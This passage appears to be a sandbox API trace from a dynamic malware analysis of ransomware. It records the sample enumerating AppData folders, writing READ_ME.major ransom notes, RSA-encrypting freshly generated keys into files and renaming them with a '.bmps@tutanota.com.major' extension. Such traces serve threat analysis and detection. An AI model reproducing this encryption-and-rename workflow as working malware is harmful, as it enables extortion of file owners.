| out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vRDpo9ZC+ZwqS7vNuizMXCL5p1Lqf8J8MIzrDBF8RxUr2mRpajCliedva16VvoRV\nLuvdbNipm7vl363pS7E5gKr0y4G+1GvR/1EgNPO60c2vbEzpj1atRXUg/IO8ieEu\nR9pjxBBXnz1bKA3H4Gd3Ylmgfe6lTnBKTc0nR7vX5aRS8sWPATHCUL7LqT37qEf9\nP9Y7WDYQN1UuHF7ujlDCAazX6QD2NmTzCBvSqR/AlF0HRrHC9XXU/kuxbv7dt08T\ng1Gi4qsDbQD9qMI6VIh4q2ZDXkQbj9ra6Ut/SzdJtQIHvN6fPHYQ86yGb/ide6+J\n8/UoxaTR4Oyge4geiVDnHQ==\n", pcchString=0x2e3f9a8) returned 1 [0225.795] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.795] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.795] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.796] CloseHandle (hObject=0x1854) returned 1 [0225.796] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.803] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23ad9f8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01f6699, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32ba0 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] GetLastError () returned 0x0 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] GetLastError () returned 0x0 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] FindNextFileW (in: hFindFile=0x2f32ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23ad9f8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01f6699, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] GetLastError () returned 0x0 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] GetLastError () returned 0x0 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] FindNextFileW (in: hFindFile=0x2f32ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc23ad9f8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc23ad9f8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc23ad9f8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] GetLastError () returned 0x0 [0225.804] SetLastError (dwErrCode=0x0) [0225.804] SetLastError (dwErrCode=0x0) [0225.804] FindNextFileW (in: hFindFile=0x2f32ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23d3cb7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf8c607c0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf8c607c0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IE77EECT", cAlternateFileName="")) returned 1 [0225.804] SetLastError (dwErrCode=0x0) [0225.805] GetLastError () returned 0x0 [0225.805] SetLastError (dwErrCode=0x0) [0225.805] SetLastError (dwErrCode=0x0) [0225.805] SetLastError (dwErrCode=0x0) [0225.805] GetLastError () returned 0x0 [0225.805] SetLastError (dwErrCode=0x0) [0225.805] GetLastError () returned 0x0 [0225.805] SetLastError (dwErrCode=0x0) [0225.805] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1858 [0225.806] WriteFile (in: hFile=0x1858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0225.807] CloseHandle (hObject=0x1858) returned 1 [0225.807] FindNextFileW (in: hFindFile=0x2f32ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0225.807] SetLastError (dwErrCode=0x0) [0225.807] GetLastError () returned 0x0 [0225.807] SetLastError (dwErrCode=0x0) [0225.807] SetLastError (dwErrCode=0x0) [0225.807] FindNextFileW (in: hFindFile=0x2f32ba0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0225.807] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.807] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\container.dat", dwFileAttributes=0x80) returned 1 [0225.808] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1858 [0225.808] GetFileSizeEx (in: hFile=0x1858, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0225.809] ReadFile (in: hFile=0x1858, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0225.809] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.809] WriteFile (in: hFile=0x1858, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0225.809] SetFilePointer (in: hFile=0x1858, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0225.809] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.809] WriteFile (in: hFile=0x1858, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.810] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.810] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.810] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.810] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+TO3n11w/NyNtoHFTAKaqZ0eVFvS/38l5PuPNMivrCHNxJ0cLOg6Y89AYIu2km40\nXWhMOhENAlUrL3GXzRRaAeYQ8OyqRVhOyUG03FQzHZYfbiIp98fUkjY/d1DEI3Of\n4Tx3F7t/m6s610iPhvmPsR+jRjg6GzA6OpHW4gOhRYJpeTiyPyjxViUXuq79TVEi\nFV5P9spfCfI+NGkZVJMgpBhE7/M779tLT/tn/YLu5R+ARy75NWl1jRZ7GNDMKMuM\nZve75iQBztngCYk/CPJp9KlPGZJKkLmNiackGt0TKmght0ExTnEV/FoP97gsVF4B\n2eOtMabnIWK/ExTKYJmQGA==\n", pcchString=0x2e3f9a8) returned 1 [0225.810] WriteFile (in: hFile=0x1858, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.811] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.811] WriteFile (in: hFile=0x1858, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.811] CloseHandle (hObject=0x1858) returned 1 [0225.811] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.813] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1bf62139, ftLastAccessTime.dwHighDateTime=0x1d4ae7c, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32a60 [0225.815] SetLastError (dwErrCode=0x0) [0225.815] GetLastError () returned 0x0 [0225.815] SetLastError (dwErrCode=0x0) [0225.815] GetLastError () returned 0x0 [0225.815] SetLastError (dwErrCode=0x0) [0225.815] FindNextFileW (in: hFindFile=0x2f32a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1bf62139, ftLastAccessTime.dwHighDateTime=0x1d4ae7c, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0225.815] SetLastError (dwErrCode=0x0) [0225.815] GetLastError () returned 0x0 [0225.815] SetLastError (dwErrCode=0x0) [0225.815] GetLastError () returned 0x0 [0225.815] SetLastError (dwErrCode=0x0) [0225.815] FindNextFileW (in: hFindFile=0x2f32a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc34d08bd, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc34d08bd, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc34d08bd, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0225.815] SetLastError (dwErrCode=0x0) [0225.816] GetLastError () returned 0x0 [0225.816] SetLastError (dwErrCode=0x0) [0225.816] SetLastError (dwErrCode=0x0) [0225.816] FindNextFileW (in: hFindFile=0x2f32a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0225.816] SetLastError (dwErrCode=0x0) [0225.816] GetLastError () returned 0x0 [0225.816] SetLastError (dwErrCode=0x0) [0225.816] SetLastError (dwErrCode=0x0) [0225.816] FindNextFileW (in: hFindFile=0x2f32a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0225.816] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0225.817] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x185c [0225.818] GetFileSizeEx (in: hFile=0x185c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0225.818] ReadFile (in: hFile=0x185c, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0225.818] SetFilePointer (in: hFile=0x185c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.818] WriteFile (in: hFile=0x185c, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0225.818] SetFilePointer (in: hFile=0x185c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0225.818] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.818] WriteFile (in: hFile=0x185c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.819] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.820] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MelW7ZxI44mPH/44lROQE0p18fuurDa6CWumuDBPd5KnXlZXOCWMyaOjdQEWBO4y\nIORplzWCDBH9RcdJLXTSstfnecNOIGggL/aqtRERvKqroVsagEVBqQHg8Wt/oBer\n2bsIouWnR3EUWjdrhPGHQy2cqh7NcyXWqsoTuBN9DfmQ0I3oPSvOXH0lkwkCefEl\nGxpdxB72J2pnAR1ODJ/v/bc5Wm0SZvK8SI3pS7Q2/LsakQdWFXJdFS5TzGvnRbYY\nXellZMLNE5QSeE2fZjps0R61sIH4e1Xa032GveAnbNRG5pC/JAmucVgKtneR3q+E\nJuAAxGWhwvz4e2k72+56CQ==\n", pcchString=0x2e3f9a8) returned 1 [0225.820] WriteFile (in: hFile=0x185c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.820] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.820] WriteFile (in: hFile=0x185c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.820] CloseHandle (hObject=0x185c) returned 1 [0225.820] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.822] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x466eaf94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33020 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] GetLastError () returned 0x0 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] GetLastError () returned 0x0 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] FindNextFileW (in: hFindFile=0x2f33020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x466eaf94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] GetLastError () returned 0x0 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] GetLastError () returned 0x0 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] FindNextFileW (in: hFindFile=0x2f33020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc2b47205, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2b47205, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2b47205, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] GetLastError () returned 0x0 [0225.823] SetLastError (dwErrCode=0x0) [0225.823] SetLastError (dwErrCode=0x0) [0225.823] FindNextFileW (in: hFindFile=0x2f33020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0225.824] SetLastError (dwErrCode=0x0) [0225.824] GetLastError () returned 0x0 [0225.824] SetLastError (dwErrCode=0x0) [0225.824] SetLastError (dwErrCode=0x0) [0225.824] FindNextFileW (in: hFindFile=0x2f33020, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0225.824] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.824] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0225.824] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1860 [0225.825] GetFileSizeEx (in: hFile=0x1860, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 